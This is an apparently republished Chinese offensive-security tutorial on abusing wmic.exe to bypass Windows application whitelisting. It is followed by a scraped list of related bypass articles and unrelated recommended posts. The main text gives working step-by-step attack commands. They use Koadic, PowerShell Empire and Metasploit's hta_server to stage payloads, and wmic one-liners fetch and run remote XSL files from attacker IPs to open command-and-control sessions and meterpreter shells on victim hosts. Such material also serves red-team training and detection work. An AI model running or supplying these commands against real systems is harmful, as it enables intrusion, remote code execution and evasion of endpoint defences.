一、Wmic.exe

wmic实用程序是一款Microsoft工具,它提供一个wmi命令行界面,用于本地和远程计算机的各种管理功能,以及wmic查询,例如系统设置、停止进程和本地或远程运行脚本。因此,它可以调用XSL脚本来执行。

二、攻击方法

1.第一种方法:Koadic

我们将在Koadic的帮助下生成一个恶意的XSL文件,它是一个命令和控制工具,与Metasploit和PowerShell empire非常相似。

要了解Koadic的工作原理,请阅读我们的文章:https://www.hackingarticles.in/koadic-com-command-control-framework/

安装完成后,您可以运行./koadic文件来启动koadic,并通过运行以下命令开始加载stager/js/wmic,并设置SRVHOST。

use stager/js/wmic
set SRVHOST 192.168.1.107
run

执行WMIC以下命令从远程服务器下载并运行恶意XSL文件:

wmic os get /FORMAT:"http://192.168.1.107:9996/g8gkv.xsl"

一旦恶意XSL文件在目标机器上执行,您就会像Metasploit一样拥有Zombie连接。

2.第二种方法:PowerShell Empire

对于我们的下一个wmic 攻击方法,我们将使用empire。empire是一款后开发框架。到目前为止,我们已经将XSL标记与metasploit匹配,但在这种方法中,我们将使用Empire框架。它只是基于python的PowerShell windows代理,这使得它非常有用。Empire由@ harmj0y,@ sixdub,@ enigma0x3,rvrsh3ll,@ killswitch_gui和@xorrior开发。您可以从https://github.com/empireproject/empire 下载此框架  。

要获得empire的基本指南,请访问我们的文章介绍,如下地址:

https://www.hackingarticles.in/hacking-with-empire-powershell-post-exploitation-agent/

启动Empire框架后,输入listener以检查是否有任何活动的侦听器。如下图所示,没有活动的侦听器。因此,需要设置一个监听器,请输入以下命令:

listeners
uselistner http
set Host http://192.168.1.107
execute

使用上述命令,您将拥有一个活动的侦听器。输入back以退出侦听器,以便您可以启动PowerShell。

对于wmic攻击,我们将使用stager。empire中的stager是一段代码段,它允许我们的恶意代码通过被感染主机上的代理运行。因此,对于这种类型,请输入以下命令:

usestager windows/launcher_xsl
set Listener http
execute

usestager将创建一个恶意代码文件,该文件将保存在名为launcher.xsl的/tmp中

我们使用python HTTP服务器在受害者的主机内传输此文件

一旦文件被执行,我们将在侦听器上获得结果。通过输入以下命令在受害者的主机中运行该文件:

wmic process get brief /format:"http://192.168.1.107:8080/launcher.xsl"

要查看是否有会话信息,请输入“agents”。这样将向您显示您拥有的会话的名称。要访问该会话请输入以下命令:

interact Z639YHPA
sysinfo

3.第三种方法:XSL代码中链接hta

我们知道,wmic可以远程执行任何文件或脚本,因此我们将在XSL代码中链接一个hta文件。XSL文件将包含一个链接,用于通过mshta.exe下载并执行恶意hta文件,该文件由wmic触发。

因此,让我们在Metasploit的帮助下生成一个hta文件:

use exploit/windows/misc/hta_server
msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109
msf exploit(windows/misc/hta_server) > exploit

现在复制URL并放在XSL代码中,因为它能够执行Microsoft语言脚本

然后,我们创建了一个“payload.xsl”文件,您可以从此链接获取帮助以编写XSL代码,然后放置hta文件的链接,如下所示。

现在我们需要借助以下命令通过wmic.exe来执行XSL文件:

wmic os get /FORMAT:"http://192.168.1.109/payload.xsl"

执行上述命令后,您将获得一个meterprter会话。要访问会话,请输入以下命令:

sessions 

 
 
 
 

使用wmic.exe绕过应用程序白名单(多种方法)的更多相关文章

  1. 使用mshta.exe绕过应用程序白名单(多种方法)

      0x00 简介 很长一段时间以来,HTA文件一直被web攻击或在野恶意软件下载程序用作恶意程序的一部分.HTA文件在网络安全领域内广为人知,从红队和蓝队的角度来看,它是绕过应用程序白名单有价值的“ ...

  2. 使用regsrv32.exe绕过应用程序白名单(多种方法)

    0x00 regsvr简介 regsvr32表示Microsoft注册服务.它是Windows的命令行实用工具.虽然regsvr32有时会导致问题出现,但它是Windows系统文件中的一个重要文件.该 ...

  3. 使用rundll32.exe绕过应用程序白名单(多种方法)

    0x00 前言 本文演示了白名单AppLocker bypass的最常见和最熟悉的技术.我们知道,出于安全原因,系统管理员添加组策略来限制本地用户的应用程序执行.在上一篇文章中,我们讨论了“ Wind ...

  4. 使用msiexec.exe绕过应用程序白名单(多种方法)

    0x00 前言 在我们之前的文章中,我们讨论了“Windows Applocker策略 - 初学者指南”,因为它们为应用程序控制策略定义了AppLocker规则,以及如何使用它们.但今天您将学习如何绕 ...

  5. 使用msbuild.exe绕过应用程序白名单(多种方法)

      一.MSbuild.exe简介 Microsoft Build Engine是一个用于构建应用程序的平台.此引擎也被称为msbuild,它为项目文件提供一个XML模式,该模式控制构建平台如何处理和 ...

  6. 使用cmstp绕过应用程序白名单

    默认情况下,AppLocker允许在文件夹中执行二进制文件,这是可以绕过它的主要原因.已经发现,这样的二进制文件可以很容易地用于绕过AppLocker和UAC.与Microsoft相关的二进制文件之一 ...

  7. GreatSct -应用程序白名单bypass工具

      0x00 GreatSCT简介 GreatSCT目前得到了@ConsciousHacker的支持,该项目名为Great SCT(Great Scott).Great SCT是一个用于生成应用程序白 ...

  8. 项目适配iOS9遇到的一些问题及解决办法 ,以及URL 白名单配置方法

    1.网络请求报错.升级Xcode 7.0发现网络访问失败.输出错误信息 The resource could not be loaded because the App Transport Secur ...

  9. 将非官方扩展程序加入chrome的白名单

    参考来源:http://xclient.info/a/1ddd2a3a-d34b-b568-c0d0-c31a95f0b309.html com.google.Chrome.mobileconfig ...

随机推荐

  1. python 基础篇01

    一.python介绍年的圣诞节期间,吉多亿个文件的上传和下载千万张照片被分享,全部用倍年,为了打发圣诞节假期,年,第一个Python编译器诞生.它是用C语言实现的,并能够调用C语言的库文件.从一出生, ...

  2. c++面向对象程序设计总结(类的使用)

    本篇算是学习c++有关类的知识的一些易错点吧..... 并不是特别详细,以后会更新吧.... 几点并不关于类的东西 1.函数模板,用虚拟类型来实现模板的功能 #include<iostream& ...

  3. python编辑选课系统

    一.需求分析 1. 创建北京.上海 2 所学校 2. 创建linux , python , go 3个课程 , linux\py 在北京开, go 在上海开 3. 课程包含,周期,价格,通过学校创建课 ...

  4. linux的date命令使用指定时间的加减方法与异常

    在一般网页里,date命令减时间方法为: date -d '-100 days' 我的需求是,在指定时间上减8小时.按一般理解来看,命令写成如下样子(有异常错误的写法): date -d " ...

  5. Linux下lshw,lsscsi,lscpu,lsusb,lsblk硬件查看命令

    Linux下lshw,lsscsi,lscpu,lsusb,lsblk硬件查看命令 2016-12-14 何敏杰 1条评论 544次浏览   注意:如有提示命令找不到command not found ...

  6. [BUAA OO]第四次博客作业

      一.      测试与正确性论证的区别 在最后一个单元的OO作业中,我们主要进行了代码的测试与正确性论证工作.这俩者在作业中的体现分别是junit单元测试以及jsf论述语言.这两者在java代码开 ...

  7. 软工1816 · Beta冲刺(1/7)

    团队信息 队名:爸爸饿了 组长博客:here 作业博客:here 组员情况 组员1(组长):王彬 过去两天完成了哪些任务 完成beta冲刺阶段的任务安排 整理博客 接下来的计划 & 还剩下哪些 ...

  8. DPDK skeleton basicfwd 源码阅读

    学习这个例子用于理解单纯的 dpdk 转发过程,L2 和 L3 的转发是基于此:在rte_eth_rx_burst()收包后进行解包,提取 mac.ip 等信息然后在转发到输出网卡. 如果要写出自己的 ...

  9. NodeJs异步的执行过程

    我这里写了一个代码片段,用来模拟一个嵌套的异步过程,下面我总结了下这段代码的执行顺序var fs = require("fs"); fs.stat('a.txt',callback ...

  10. 关于supervisor无法监控golang代码的解决方法

    之前一直都是使用如下方式运行go代码 # go run test.go 这种运行方式是直接编译运行go代码,虽然在调试的时候没出什么问题,但是在使用supervisor监控的时候,会提示如下错误:(b ...